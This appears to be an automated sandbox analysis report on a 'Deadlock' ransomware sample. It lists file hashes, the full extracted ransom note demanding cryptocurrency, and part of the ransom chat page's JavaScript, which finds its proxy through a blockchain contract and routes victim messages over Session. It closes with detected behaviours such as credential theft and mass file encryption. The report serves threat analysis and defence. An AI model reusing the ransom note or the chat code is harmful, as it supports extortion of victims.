General

  • Target
    _c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe
  • Size 257KB
  • Sample260621-velt4aes3r
  • SHA256 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Path
  • \Device\HarddiskVolume1\Boot\HOW_RECOVER.DF1635.txt

Ransom Note
  • # Your personal ID: DF1635 # Your company's network is attacked and the entire system is encrypted. # We have downloaded all the company's confidential data. # If you want your data fully decrypted and the files we stole removed from our source, you will have to pay a fee. # We will also be able to provide a security report and explain how we did it to get in. # There is only one way to get your files back: 1. Contact us, open RECOVERY_CHAT.DF1635.HTML via your browser or download Session messenger https://getsession.org/ 2. Our contacts (Session id: 05084f9b14b02f4ffa97795a60ab1fafaf5128e3259c75459aaaeaebc80c14da78) 3. Send us 2-3 any encrypted your files and your personal ID 4. We will decrypt few file for test (maximum file size - 5 MB), its guarantee what we can decrypt your files 5. Pay 6. We send for you decryptor software # After payment you will receive. 1. Decryption tool for all devices 2. Complete list of files taken from the network. 3. Proof that all your data has been deleted. 4. Information about how we got into the network. 5. Security recommendations to stop future attacks. 6. Promise that we will not attack you again in the future. 7. Guarantee that we will forget about this incident. # We accept Bitcoin/Monero # Attention! Do not rename encrypted files. Do not try to decrypt using third party software, it may cause permanent data loss. Contact information: 05084f9b14b02f4ffa97795a60ab1fafaf5128e3259c75459aaaeaebc80c14da78
URLs
  • https://getsession.org/

Extracted

Path
  • C:\Users\Admin\AppData\Local\Microsoft\PlayReady\Internet Explorer\Desktop\RECOVERY_CHAT.DF1635.html

Ransom Note
  • <title>Deadlock - data is safe, sure</title><script src=https://cdn.jsdelivr.net/npm/protobufjs/dist/protobuf.min.js></script><script src=https://cdnjs.cloudflare.com/ajax/libs/js-nacl/1.4.0/nacl_factory.js></script><script>var reciver={address:"05084f9b14b02f4ffa97795a60ab1fafaf5128e3259c75459aaaeaebc80c14da78"};reciver.pk=hexToUint8Array(reciver.address.slice(2));var uid="DF1635",contract="0x8EF7c3e531d871D3B9D559722DE77EB1dEc19dAe",rpcPos=0,rpcList="polygon-bor-rpc.publicnode.com,polygon.drpc.org,polygon-pokt.nodies.app,polygon-rpc.com,1rpc.io/matic,polygon.meowrpc.com".split(","),proxy=!1,private=!1,snodes=!1,swarms=!1,swarms_rec=!1,is_first=!1,messages={},nacl={};function getProxy(){if(window.nacl_factory)return proxy?proxy?void sendProxy("ping",{},(function(e,t){if(e||!t||"ok"!=t)return proxy=!1,badAlert("Error: Ping request return reject"),stage("n1"),setTimeout(getProxy,5e3);stage(private?"n3":"n2"),setTimeout(getProxy,4e4)}),proxy):(stage("n1"),setTimeout(getProxy,2e3)):(stage("n1"),void getContract((function(e){return proxy=e,getProxy()}),(function(e){return setTimeout(getProxy,1e3)})));stage("n4")}function sendProxy(e,t,r,a=undefined){var n=!1;function s(e,t){n||(n=!0,r(e,t))}if(!proxy&&!a)return badAlert("Error: Can't find proxy"),void s(!1);try{var i=new XMLHttpRequest;i.open("POST",(a||proxy)+"?method="+e,!0),i.setRequestHeader("Content-Type","application/json"),i.timeout=12e3,i.ontimeout=function(){s(!0)},i.onreadystatechange=function(){if(4===this.readyState)if(this.status>=200)try{var e=JSON.parse(this.responseText);e.status?s(!1,e.data):(s(!0),e.mess&&e.mess.length>0&&badAlert(e.mess))}catch(t){console.log(t),s(!0),badAlert("Wait: Parse undefined")}else s(!0),badAlert("Wait: Error on request")},i.send(JSON.stringify(t))}catch(o){s(!0),badAlert("Wait: Answer undefined")}}function getContract(e,t){rpcList[rpcPos]||(rpcPos=0);try{var r=new XMLHttpRequest;r.open("POST","https://"+rpcList[rpcPos],!0),r.setRequestHeader("Content-Type","application/json"),r.onreadystatechange=function(){if(r.readyState===XMLHttpRequest.DONE)if(200===r.status){var a=JSON.parse(r.responseText)[1].result.replace("0x",""),n=a.indexOf("68747470");if(-1==n)return rpcPos++,void t();a=(a=a.slice(n)).replace(/0+$/,"")+"0",e(decodeURIComponent(a.replace(/[0-9a-f]{2}/g,"%$&")))}else rpcPos++,t()};var a=JSON.stringify([{method:"eth_chainId",params:[],id:1,jsonrpc:"2.0"},{method:"eth_call",params:[{to:contract,data:"0x933a9ce8"},"latest"],id:2,jsonrpc:"2.0"}]);r.send(a)}catch(n){rpcPos++,t()}}function updateMessages(){if(0!=messages.length){var e=document.getElementsByTagName("ov")[0],t="",r=Object.entries(messages);for(var a of(r.sort(((e,t)=>e[1].time-t[1].time)),r)){var n=a[1],s=n.data,i=n.time,o=new Date(i),c=o.getHours().toString().padStart(2,"0")+":"+o.getMinutes().toString().padStart(2,"0")+":"+o.getSeconds().toString().padStart(2,"0");n.from?t+="<sx><k>Support: <ls>"+c+"</ls></k><me>"+s+"</me></sx>":t+="<yx><k>You: <ls>"+c+"</ls></k><me>"+s+"</me></yx>"}e.innerHTML=t,e.scrollTop=e.scrollHeight}}function sendFirstMessage(){is_first||(is_first=!0,sendMessage("["+uid+"|Open]",!0))}function getChat(){var e=document.getElementsByTagName("lo")[0].style;if(private&&proxy){if(!snodes)return void sendProxy("get_snodes",{},(function(e,t){e?setTimeout(getChat,500):(snodes=t,getChat())}));if(!swarms)return void sendProxy("get_swarms",{pubkey:private.address,snode:snodes[snodes.length*Math.random()|0]},(function(e,t){e||(t&&t.snodes&&0!=t.snodes.length?swarms=t.snodes:badAlert("Wait: Empty data")),getChat()}));if(!swarms_rec)return void sendProxy("get_swarms",{pubkey:reciver.address,snode:snodes[snodes.length*Math.random()|0]},(function(e,t){e||(t&&t.snodes&&0!=t.snodes.length?swarms_rec=t.snodes:badAlert("Wait: Empty data")),getChat()}));var t=Date.now(),r=(new TextEncoder).encode("retrieve"+t),a=nacl.crypto_sign_detached(r,private.sk_ed25519),n={pubkey:private.address,signature:bufferToBase64(a),pubkey_ed25519:Uint8ArrayToHex(private.pk_ed25519),timestamp:t};sendProxy("poll",{pubkey:private.address,signatureBuilt:n,swarm:swarms[swarms.length*Math.random()|0]},(function(t,r){if(!t&&r&&r.messages){if(0!==r.messages.length){var a=!1;for(var n of r.messages)if(!messages[n.hash]){var s=decodeMessage(n);if(s&&s.dataMessage){var i=s.dataMessage;if(!i.body)continue;if(i.body=="["+uid+"|Open]"){is_first=!0;continue}var o=!(i.syncTarget&&i.syncTarget==reciver.address);messages[n.hash]={from:o,data:i.body.replace("["+uid+"] ",""),time:n.timestamp},a=!0}}a&&updateMessages(),sendFirstMessage()}else sendFirstMessage();e.visibility="hidden",setTimeout(getChat,8e3)}else setTimeout(getChat,3e3)}))}else setTimeout(getChat,2e3)}function decodeMessage(e){var t=base64ToBytesArr(e.data),r=(e.hash,decodeMessData(t));if(!r)return!1;if(!r.type||1!=r.type||!r.request||!r.request.body)return!1;var a=decodeMessDataEnvelope(r.request.body);if(!a)return!1;if(!(a.content&&a.content.length>0))return!1;var n=a.content;try{var s=nacl.crypto_box_seal_open(n,private.pk,private.sk),i=s.byteLength-64,o=(s.subarray(i),s.byteLength-96),c=s.byteLength-64,d=(s.subarray(o,c),s.byteLength-96),u=removeMessagePadding(s.subarray(0,d));return!!u&&decodePlainText(u)}catch(p){return!1}}function removeMessagePadding(e){for(var t=e.length-1;t>=0;t-=1){if(128===e[t]){var r=new Uint8Array(t);return r.set(e.subarray(0,t)),r}if(0!==e[t])return e}return!1}function AttachmentPointerdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.fixed64();break;case 2:r.contentType=e.string();break;case 3:r.key=e.bytes();break;case 4:r.size=e.uint32();break;case 6:r.digest=e.bytes();break;case 7:r.fileName=e.string();break;case 8:r.flags=e.uint32();break;case 9:r.width=e.uint32();break;case 10:r.height=e.uint32();break;case 11:r.caption=e.string();break;case 101:r.url=e.string();break;default:e.skipType(7&n)}}return r}function GroupContextdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.bytes();break;case 2:r.type=e.int32();break;case 3:r.name=e.string();break;case 4:r.members&&r.members.length||(r.members=[]),r.members.push(e.string());break;case 5:r.avatar=AttachmentPointerdecode(e,e.uint32());break;case 6:r.admins&&r.admins.length||(r.admins=[]),r.admins.push(e.string());break;default:e.skipType(7&n)}}return r}function decodeQuote(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.uint64();break;case 2:r.author=e.string();break;case 3:r.text=e.string();break;case 4:r.attachments&&r.attachments.length||(r.attachments=[]),r.attachments.push(QuotedAttachmentdecode(e,e.uint32()));break;default:e.skipType(7&n)}}return r}function QuotedAttachmentdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.contentType=e.string();break;case 2:r.fileName=e.string();break;case 3:r.thumbnail=AttachmentPointerdecode(e,e.uint32());break;default:e.skipType(7&n)}}return r}let abc="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";function base64ToBytesArr(e){let t=[...abc],r=[];for(let a=0;a<e.length/4;a++){let n=[...e.slice(4*a,4*a+4)].map((e=>t.indexOf(e).toString(2).padStart(6,0))).join("").match(/.{1,8}/g).map((e=>+("0b"+e)));r.push(...n.slice(0,3-("="==e[4*a+2])-("="==e[4*a+3])))}return r}function bufferToBase64(e){const t=e=>e.toString(2).padStart(8,0),r=e.length;let a="";for(let n=0;n<=(r-1)/3;n++){let s=3*n+1>=r,i=3*n+2>=r;a+=(t(e[3*n])+t(s?0:e[3*n+1])+t(i?0:e[3*n+2])).match(/.{1,6}/g).map(((e,t)=>3==t&&i||2==t&&s?"=":abc[+("0b"+e)])).join("")}return a}function DataMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.body=e.string();break;case 2:r.attachments&&r.attachments.length||(r.attachments=[]),r.attachments.push(AttachmentPointerdecode(e,e.uint32()));break;case 3:r.group=GroupContextdecode(e,e.uint32());break;case 4:r.flags=e.uint32();break;case 5:r.expireTimer=e.uint32();break;case 6:r.profileKey=e.bytes();break;case 7:r.timestamp=e.uint64();break;case 8:r.quote=decodeQuote(e,e.uint32());break;case 10:r.preview&&r.preview.length||(r.preview=[]),r.preview.push(Previewdecode(e,e.uint32()));break;case 11:r.reaction=Reactiondecode(e,e.uint32());break;case 101:r.profile=LokiProfiledecode(e,e.uint32());break;case 102:r.openGroupInvitation=OpenGroupInvitationdecode(e,e.uint32());break;case 104:r.closedGroupControlMessage=ClosedGroupControlMessagedecode(e,e.uint32());break;case 105:r.syncTarget=e.string();break;case 106:r.blocksCommunityMessageRequests=e.bool();break;default:e.skipType(7&n)}}return r}function OpenGroupInvitationdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.url=e.string();break;case 3:r.name=e.string();break;default:e.skipType(7&n)}}return r}function Reactiondecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.uint64();break;case 2:r.author=e.string();break;case 3:r.emoji=e.string();break;case 4:r.action=e.int32();break;default:e.skipType(7&n)}}return r}function Previewdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.url=e.string();break;case 2:r.title=e.string();break;case 3:r.image=AttachmentPointerdecode(e,e.uint32());break;default:e.skipType(7&n)}}return r}function ClosedGroupControlMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.type=e.int32();break;case 2:r.publicKey=e.bytes();break;case 3:r.name=e.string();break;case 4:r.encryptionKeyPair=KeyPairdecode(e,e.uint32());break;case 5:r.members&&r.members.length||(r.members=[]),r.members.push(e.bytes());break;case 6:r.admins&&r.admins.length||(r.admins=[]),r.admins.push(e.bytes());break;case 7:r.wrappers&&r.wrappers.length||(r.wrappers=[]),r.wrappers.push(KeyPairWrapperdecode(e,e.uint32()));break;case 8:r.expirationTimer=e.uint32();break;default:e.skipType(7&n)}}return r}function KeyPairWrapperdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.encryptedKeyPair=e.bytes();break;default:e.skipType(7&n)}}return r}function CallMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.type=e.int32();break;case 2:r.sdps&&r.sdps.length||(r.sdps=[]),r.sdps.push(e.string());break;case 3:if(r.sdpMLineIndexes&&r.sdpMLineIndexes.length||(r.sdpMLineIndexes=[]),2==(7&n))for(var s=e.uint32()+e.pos;e.pos<s;)r.sdpMLineIndexes.push(e.uint32());else r.sdpMLineIndexes.push(e.uint32());break;case 4:r.sdpMids&&r.sdpMids.length||(r.sdpMids=[]),r.sdpMids.push(e.string());break;case 5:r.uuid=e.string();break;default:e.skipType(7&n)}}return r}function Unsenddecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.timestamp=e.uint64();break;case 2:r.author=e.string();break;default:e.skipType(7&n)}}return r}function ReceiptMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.type=e.int32();break;case 2:if(r.timestamp&&r.timestamp.length||(r.timestamp=[]),2==(7&n))for(var s=e.uint32()+e.pos;e.pos<s;)r.timestamp.push(e.uint64());else r.timestamp.push(e.uint64());break;default:e.skipType(7&n)}}return r}function TypingMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.timestamp=e.uint64();break;case 2:r.action=e.int32();break;default:e.skipType(7&n)}}return r}function KeyPairdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.privateKey=e.bytes();break;default:e.skipType(7&n)}}return r}function ClosedGroupdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.name=e.string();break;case 3:r.encryptionKeyPair=KeyPairdecode(e,e.uint32());break;case 4:r.members&&r.members.length||(r.members=[]),r.members.push(e.bytes());break;case 5:r.admins&&r.admins.length||(r.admins=[]),r.admins.push(e.bytes());break;default:e.skipType(7&n)}}return r}function ConfigurationMessagedecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.closedGroups&&a.closedGroups.length||(a.closedGroups=[]),a.closedGroups.push(ClosedGroupdecode(e,e.uint32()));break;case 2:a.openGroups&&a.openGroups.length||(a.openGroups=[]),a.openGroups.push(e.string());break;case 3:a.displayName=e.string();break;case 4:a.profilePicture=e.string();break;case 5:a.profileKey=e.bytes();break;case 6:a.contacts&&a.contacts.length||(a.contacts=[]),a.contacts.push(Contactdecode(e,e.uint32()));break;default:e.skipType(7&n)}}return a}function Contactdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.name=e.string();break;case 3:r.profilePicture=e.string();break;case 4:r.profileKey=e.bytes();break;case 5:r.isApproved=e.bool();break;case 6:r.isBlocked=e.bool();break;case 7:r.didApproveMe=e.bool();break;default:e.skipType(7&n)}}return r}function DataExtractionNotificationdecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.type=e.int32();break;case 2:a.timestamp=e.uint64();break;default:e.skipType(7&n)}}return a}function MessageRequestResponsedecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.isApproved=e.bool();break;case 2:a.profileKey=e.bytes();break;case 3:a.profile=LokiProfiledecode(e,e.uint32());break;default:e.skipType(7&n)}}return a}function LokiProfiledecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.displayName=e.string();break;case 2:a.profilePicture=e.string();break;default:e.skipType(7&n)}}return a}function SharedConfigMessagedecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.kind=e.int32();break;case 2:a.seqno=e.int64();break;case 3:a.data=e.bytes();break;default:e.skipType(7&n)}}return a}function decodePlainText(e){try{var t=e.length;e=protobuf.Reader.create(e);for(var r={};e.pos<t;){var a=e.uint32();switch(a>>>3){case 1:r.dataMessage=DataMessagedecode(e,e.uint32());break;case 3:r.callMessage=CallMessagedecode(e,e.uint32());break;case 5:r.receiptMessage=ReceiptMessagedecode(e,e.uint32());break;case 6:r.typingMessage=TypingMessagedecode(e,e.uint32());break;case 7:r.configurationMessage=ConfigurationMessagedecode(e,e.uint32());break;case 8:r.dataExtractionNotification=DataExtractionNotificationdecode(e,e.uint32());break;case 9:r.unsendMessage=Unsenddecode(e,e.uint32());break;case 10:r.messageRequestResponse=MessageRequestResponsedecode(e,e.uint32());break;case 11:r.sharedConfigMessage=SharedConfigMessagedecode(e,e.uint32());break;case 12:r.expirationType=e.int32();break;case 13:r.expirationTimer=e.uint32();break;default:e.skipType(7&a)}}return r}catch(n){return!1}}function decodeMessDataEnvelope(e){try{var t=e.length;e=protobuf.Reader.create(e);for(var r={};e.pos<t;){var a=e.uint32();switch(a>>>3){case 1:r.type=e.int32();break;case 2:r.source=e.string();break;case 5:r.timestamp=e.uint64();break;case 8:r.content=e.bytes();break;default:e.skipType(7&a)}}return!(!r.type||!r.timestamp)&&r}catch(n){return!1}}function decodeMessData(e){try{for(var t=protobuf.Reader.create(e),r={},a=e.length;t.pos<a;){var n=t.uint32();switch(n>>>3){case 1:r.type=t.int32();break;case 2:r.request=decodeMessDataFull(t,t.uint32());break;default:t.skipType(7&n)}}return!(!r.type||!r.request)&&r}catch(s){return!1}}function decodeMessDataFull(e,t=undefined){try{var r;t?r=e.pos+t:(r=e.length,e=protobuf.Reader.create(e));for(var a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.verb=e.string();break;case 2:a.path=e.string();break;case 3:a.body=e.bytes();break;case 5:a.headers&&a.headers.length||(a.headers=[]),a.headers.push(e.string());break;case 4:a.id=e.uint64();break;default:e.skipType(7&n)}}return a}catch(s){return!1}}function handlerInput(e){var t=e.target.value;/[^ -~]/.test(t)&&(e.target.value=t.replace(/[^\x00-\x7F]/g,""))}function handlerLogin(e){var t=document.getElementById("er1"),r=document.getElementById("login"),a=document.getElementById("pass"),n=r.value,s=a.value;if(t.innerHTML="",n.length<=5||s.length<=5)t.innerHTML="Login and Password must be more then 5 symbols";else{for(var i=n+"_"+uid+"_"+s,o=new Uint8Array(i.length),c=0;c<i.length;c++)o[c]=i.charCodeAt(c);window.nacl_factory.instantiate((function(e){nacl=e;var t=e.crypto_hash(o).slice(0,16),r=new Uint8Array(32);r.set(t);var a=e.cry

Targets

    • Target
      _c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe
    • Size 257KB
    • SHA256 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c
    • MD5 SHA1 SHA512 SSDEEP TLSH
    • Renames multiple (8701) files with added filename extension

      This suggests ransomware activity of encrypting all the files on the system.

    • Credentials from Password Stores: Windows Credential Manager

      Suspicious access to Credentials History.

    • Drops startup file

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Enumerates connected drives

      Attempts to read the root path of hard drives other than the default C: drive.

    • Sets desktop wallpaper using registry

MITRE ATT&CK Enterprise v16

Tasks